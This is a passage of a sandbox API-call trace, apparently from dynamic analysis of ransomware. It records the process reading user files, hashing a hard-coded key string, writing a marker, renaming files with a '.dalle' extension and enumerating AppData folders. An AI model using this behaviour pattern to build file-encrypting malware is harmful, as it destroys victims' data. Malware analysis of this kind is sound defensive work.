dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.991] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=42495) returned 1 [0121.991] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.993] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.993] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.994] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0121.994] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xa5ff, lpOverlapped=0x0) returned 1 [0121.995] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.995] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0121.995] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.995] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.995] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1160) returned 1 [0121.996] CryptCreateHash (in: hProv=0x6c1160, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.996] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.996] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.996] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.996] GetLastError () returned 0x0 [0121.996] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.996] CryptReleaseContext (hProv=0x6c1160, dwFlags=0x0) returned 1 [0121.997] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.997] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.997] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.997] CloseHandle (hObject=0x618) returned 1 [0121.998] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.dalle")) returned 1 [0121.999] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0121.999] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0121.999] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0121.999] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0121.999] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.999] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.000] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.000] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.000] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.000] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.000] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.000] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.000] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.000] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.000] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ad8 | out: hHeap=0x5e0000) returned 1 [0122.000] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.000] PathFindFileNameW (pszPath="") returned="" [0122.000] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.001] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ff0 | out: hHeap=0x5e0000) returned 1 [0122.001] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.001] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0122.001] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 0 [0122.001] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0122.001] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0122.001] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3023098 | out: hHeap=0x5e0000) returned 1 [0122.001] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0122.001] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0122.001] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="Content\\" [0122.001] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0122.001] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0122.002] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.002] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.002] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.002] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.002] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0122.002] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.002] PathFindFileNameW (pszPath="") returned="" [0122.002] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0122.004] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f9e0d0 | out: hHeap=0x5e0000) returned 1 [0122.004] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.005] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0122.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0122.005] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.005] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x561, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0122.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0122.005] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.005] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0122.005] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0122.005] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.005] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xf1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0122.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0122.006] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.006] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0122.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0122.006] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.006] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x209, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0122.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3130B1871A126520A8C47861EFE3ED4D") returned="" [0122.006] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.006] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x58b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0122.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="" [0122.006] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.006] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0122.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="" [0122.006] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.006] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0122.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="" [0122.006] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.006] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0122.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="" [0122.006] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.006] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0122.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="" [0122.006] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.006] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0122.006] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="" [0122.007] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.007] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0122.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="" [0122.007] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0122.007] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0122.007] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD") returned="" [0122.007] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3011f48 | out: hHeap=0x5e0000) returned 1 [0122.007] FindNextFileW (in: hFindFile=0x3008f60, 